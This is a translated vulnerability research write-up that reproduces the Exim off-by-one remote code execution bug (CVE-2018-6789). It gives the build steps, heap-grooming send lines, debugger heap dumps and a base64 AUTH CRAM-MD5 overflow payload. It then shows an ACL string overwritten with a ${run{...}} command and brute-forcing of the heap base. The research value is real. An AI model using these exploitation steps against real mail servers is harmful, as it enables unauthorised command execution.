Author:Hcamael@Knownsec 404 Team
Chinese Version: https://paper.seebug.org/557/
Not too long ago, meh dug an Exim RCE vulnerability. The RCE vulnerability is less constrained, as it can still be used even if PIE is enabled .
During the process of recurring the loophole, I have found that in the process of the recurrence, the actual situation of the stack could not be constructed as Meh described, and I was stuck here for a long time ( I guess it was because of the different environment). Then I decided I should first understand the general idea of meh before I construct the heap. The whole work is difficult, but I made it at last.
The environment is roughly the same as the last time. First, go to the patch commit of the vulnerability on github.
Then switch the branch to the last commit
$ git clone https://github.com/Exim/exim.git
$ git checkout 38e3d2dff7982736f1e6833e06d4aab4652f337a
$ cd src
$ mkdir Local
Still use the last Makefile:
$ cat Local/makefile | grep -v "#" BIN_DIRECTORY=/usr/exim/bin CONFIGURE_FILE=/usr/exim/configure EXIM_USER=ubuntu SPOOL_DIRECTORY=/var/spool/exim ROUTER_ACCEPT=yes ROUTER_DNSLOOKUP=yes ROUTER_IPLITERAL=yes ROUTER_MANUALROUTE=yes ROUTER_QUERYPROGRAM=yes ROUTER_REDIRECT=yes TRANSPORT_APPENDFILE=yes TRANSPORT_AUTOREPLY=yes TRANSPORT_PIPE=yes TRANSPORT_SMTP=yes LOOKUP_DBM=yes LOOKUP_LSEARCH=yes LOOKUP_DNSDB=yes PCRE_CONFIG=yes FIXED_NEVER_USERS=root AUTH_CRAM_MD5=yes AUTH_PLAINTEXT=yes AUTH_TLS=yes HEADERS_CHARSET="ISO-8859-1" SUPPORT_TLS=yes TLS_LIBS=-lssl -lcrypto SYSLOG_LOG_PID=yes EXICYCLOG_MAX=10 COMPRESS_COMMAND=/usr/bin/gzip COMPRESS_SUFFIX=gz ZCAT_COMMAND=/usr/bin/zcat SYSTEM_ALIASES_FILE=/etc/aliases EXIM_TMPDIR="/tmp"
Compile and install:
$ make -j8 $ sudo make install
The startup is the same as last time. But when the debug is enabled, all debug information is output, and if not so, the layout of the heap will be impacted. However, although it has an impact, it only affects the details of the structure. The overall construction idea is still as what meh wrote in his paper.
The recurrence is based on a mode that only outputs partial debug information:
$ /usr/exim/bin/exim -bdf -dd # Output complete debug information using -bdf -d+all # Do not open debug mode using -bdf
I think the description of the vulnerability principle and related functions has been very detailed in meh's article, so I just wrote my recurrence process.
First you need to construct a released chunk. It does not have to be of 0x6060 in size but only have to meet a few conditions:
This chunk is divided into three parts, one part is obtained by store_get
, which is used to store the base64 decoded data and cause the off by one
vulnerability to cover the size of the next chunk. The minimum chunk obtained by store_get
is 0x2000, and the heap header is 0x10 and the heap header implented by exim is also 0x10. So it is a heap block of at least 0x2020.
The second part is used to put sender_host_name
. Because the memory of this variable is obtained by store_malloc
, there is no size limit.
The third part is also a heap block of at least 0x2020 because it needs to construct a fake chunk for the check of free
.
Unlike meh, I get a 0x4041 heap by unrecognized command
and then release it with EHLO
:
p.sendline("\x7f"*4102) p.sendline("EHLO %s"%("c"*(0x2010))) # heap 0x1d15180 PREV_INUSE { prev_size = 0x0, size = 0x4041, fd = 0x7f9520917b78, bk = 0x1d1b1e0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x1d191c0 { prev_size = 0x4040, size = 0x2020, fd = 0x6363636363636363, bk = 0x6363636363636363, fd_nextsize = 0x6363636363636363, bk_nextsize = 0x6363636363636363 }
0x1d15180 is a chunk of size 0x4040 obtained by unrecognized command
. It was released after the EHLO
command was excuted. 0x1d191c0 is the sender_host_name
of inuse. These two parts constitute a chunk of 0x6060.
The current situation is that sender_host_name
is at the bottom of the 0x6060 chunk, and we need to move it to the middle.
This part of the idea is the same as meh, first of all occupy the top 0x2020 chunk with unrecognized command
The size of the memory is ss = store_get(length + nonprintcount * 3 + 1);
after unrecognized command
is excuted.
By calculation, you only need to make length + nonprintcount * 3 + 1 > yield_length
to apply for a chunk with store_get
function.
At this time we can use EHLO
to release the previous sender_host_name
and then reset it so that sender_host_name
is in the middle of the 0x6060 size chunk.
p.sendline("EHLO %s"%("c"*(0x2000-9))) # heap 0x1d15180 PREV_INUSE { prev_size = 0x0, size = 0x2021, fd = 0x7f9520917b78, bk = 0x1d191a0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x1d171a0 { prev_size = 0x2020, size = 0x2000, fd = 0x6363636363636363, bk = 0x6363636363636363, fd_nextsize = 0x6363636363636363, bk_nextsize = 0x6363636363636363 } 0x1d191a0 PREV_INUSE { prev_size = 0x63636363636363, size = 0x6061, fd = 0x1d15180, bk = 0x7f9520917b78, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x1d1f200 { prev_size = 0x6060, size = 0x2020, fd = 0x1d27380, bk = 0x2008, fd_nextsize = 0x6363636363636328, bk_nextsize = 0x6363636363636363 }
Now the layout of our heap is:
sender_host_name
Let's go back and think about the setting of the size of each chunk.
The first chunk is used to trigger the off by one
vulnerability, which is used to modify the size of the second chunk, which can only overflow 1 byte.
store_get
at least allocates a chunk of 0x2000 in size and can store data of 0x2000 in size.
This means if store_get
is of its minimun size, you can only overflow the pre_size bit of the second chunk.
Then because (0x2008-1)%3==0
, we can exploit the vulnerability of b64decode function and apply for a 0x2020 chunk that can store 0x2008 size of data, and then overflow a byte to the size
of the next chunk.
As for the second chunk, because only one byte can be modified, so it can only be extended from 0x00 to 0xf0.
Second, we assume that the original chunk size of the second chunk is 0x2021, and then it is modified to 0x20f1. We also need to consider whether chunk+0x20f1 is controllable, because we need to forge a fake chunk to bypass the security check of free function .
After several times of debugging, it is found that when the size of the second chunk is 0x2001, it is more convenient for subsequent use.
The third chunk only requires to be greater than a minimum size (0x2020) that a store_get
request can get.
We will trigger the off by one
vulnerability according to the third step.
payload1 = "HfHf"*0xaae p.sendline("AUTH CRAM-MD5") p.sendline(payload1[:-1]) # heap 0x1d15180 PREV_INUSE { prev_size = 0x0, size = 0x2021, fd = 0x1d191b0, bk = 0x2008, fd_nextsize = 0xf11ddff11ddff11d, bk_nextsize = 0x1ddff11ddff11ddf } 0x1d171a0 PREV_INUSE { prev_size = 0x1ddff11ddff11ddf, size = 0x20f1, fd = 0x6363636363636363, bk = 0x6363636363636363, fd_nextsize = 0x6363636363636363, bk_nextsize = 0x6363636363636363 } 0x1d19290 PREV_INUSE IS_MMAPED { prev_size = 0x6363636363636363, size = 0x6363636363636363, fd = 0x6363636363636363, bk = 0x6363636363636363, fd_nextsize = 0x6363636363636363, bk_nextsize = 0x6363636363636363 }
And construct a fake chunk in the third chunk.
payload = p64(0x20f0)+p64(0x1f31) p.sendline("AUTH CRAM-MD5") p.sendline((payload*484).encode("base64").replace("\n","")) # heap 0x1d15180 PREV_INUSE { prev_size = 0x0, size = 0x2021, fd = 0x1d191b0, bk = 0x2008, fd_nextsize = 0xf11ddff11ddff11d, bk_nextsize = 0x1ddff11ddff11ddf } 0x1d171a0 PREV_INUSE { prev_size = 0x1ddff11ddff11ddf, size = 0x20f1, fd = 0x6363636363636363, bk = 0x6363636363636363, fd_nextsize = 0x6363636363636363, bk_nextsize = 0x6363636363636363 } 0x1d19290 PREV_INUSE { prev_size = 0xf0, size = 0x1f31, fd = 0x20f0, bk = 0x1f31, fd_nextsize = 0x20f0, bk_nextsize = 0x1f31 } 0x1d1b1c0 PREV_INUSE { prev_size = 0x2020, size = 0x4041, fd = 0x7f9520918288, bk = 0x7f9520918288, fd_nextsize = 0x1d1b1c0, bk_nextsize = 0x1d1b1c0 }
By releasing sender_host_name
, an original 0x2000 chunk is expanded to 0x20f0, but it does not trigger smtp_reset
.
p.sendline("EHLO a+") # heap 0x1d171a0 PREV_INUSE { prev_size = 0x1ddff11ddff11ddf, size = 0x20f1, fd = 0x1d21240, bk = 0x7f9520917b78, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x1d19290 { prev_size = 0x20f0, size = 0x1f30, fd = 0x20f0, bk = 0x1f31, fd_nextsize = 0x20f0, bk_nextsize = 0x1f31 }
Meh provides a way to RCE without leaking the address.
Exim has an expand_string
function. When it processes the arguments with ${run{xxxxx}}
or xxxx
, it will be executed as a shell command.
The acl_check
function checks the configuration of each command, and then calls the expand_string
function on the string of configuration information.
The configuration information of my recurrence environment is as follows:
pwndbg> x/18gx &acl_smtp_vrfy 0x6ed848 <acl_smtp_vrfy>: 0x0000000000000000 0x0000000000000000 0x6ed858 <acl_smtp_rcpt>: 0x0000000001cedac0 0x0000000000000000 0x6ed868 <acl_smtp_predata>: 0x0000000000000000 0x0000000000000000 0x6ed878 <acl_smtp_mailauth>: 0x0000000000000000 0x0000000000000000 0x6ed888 <acl_smtp_helo>: 0x0000000000000000 0x0000000000000000 0x6ed898 <acl_smtp_etrn>: 0x0000000000000000 0x0000000000000000 0x6ed8a8 <acl_smtp_data>: 0x0000000001cedad0 0x0000000000000000 0x6ed8b8 <acl_smtp_auth>: 0x0000000001cedae0 0x0000000000000000
So I have three commands rcpt
, data
and auth
to use.
For example, the current content of the 0x0000000001cedae0
address is:
Pwndbg> x/s 0x0000000001cedae0 0x1cedae0: "acl_check_auth"
If I change the string to ${run{/usr/bin/touch /tmp/pwned}}
, then when I send the AUTH
command to the server, exim will execute /usr/bin/touch /tmp/pwned
.
Modify the next pointer of storeblock
to store the heap address of the acl_check_xxxx
string -> call smtp_reset -> the heap block storing the acl_check_xxxx
string is released into the unsortedbin -> apply for a heap, and when the address of the heap is the same as the heap block storing acl_check_xxxx
string, we can override the string that the string executes for the command -> RCE
According to the last step, we first need to modify the next
pointer. The original size of the second chunk is 0x2000, and it will be 0x20f0 after modification. The address of the next storeblock
is chunk+0x2000 which is also the address of the next
pointer.
So we apply for a chunk of 0x2020 and we can override the next
pointer:
P.sendline("AUTH CRAM-MD5") P.sendline(base64.b64encode(payload*501+p64(0x2021)+p64(0x2021)+p32(address)))
The second chunk is allocated when the AUTH CRAM-MD5
command is executed, so the memory of b64decode
is obtained from next_yield
.
This means we can control the size of yield_length
when executing b64decode
. At first, one of my ideas is to use the off by one
vulnerability to modify next
, which is, from my point of view, what meh said about partial write
. But I fialed.
Pwndbg> x/16gx 0x1d171a0+0x2000 0x1d191a0: 0x0063636363636363 0x0000000000002021 0x1d191b0: 0x0000000001d171b0 0x0000000000002000
The current value of the next
pointer is 0x1d171b0. I used to try to modify 1-2 bytes, but the heap address of the acl_check_xxx
character is 0x1ced980.
We will need to modify 3 bytes, so this idea won't work.
So there is another idea. Because exim handles each socket connection by fork, so we can blast the base address of the heap, which only needs 2bytes.
After solving this problem, it is to fill the heap, and then modify the string that acl_check_xxx
pointed to.
Then attach the screenshot:
I have seen others' exp on github, and they used blasting, so it is possible that I did not really understood partial write
.
In addition, by comparing with exp on github, it is found that for different versions of exim, acl_check_xxx
have different heap offsets. So if you need RCE exim, you need to meet the following conditions:
1.https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/ 2.https://github.com/Exim/exim/commit/cf3cd306062a08969c41a1cdd32c6855f1abecf1 3.https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1024/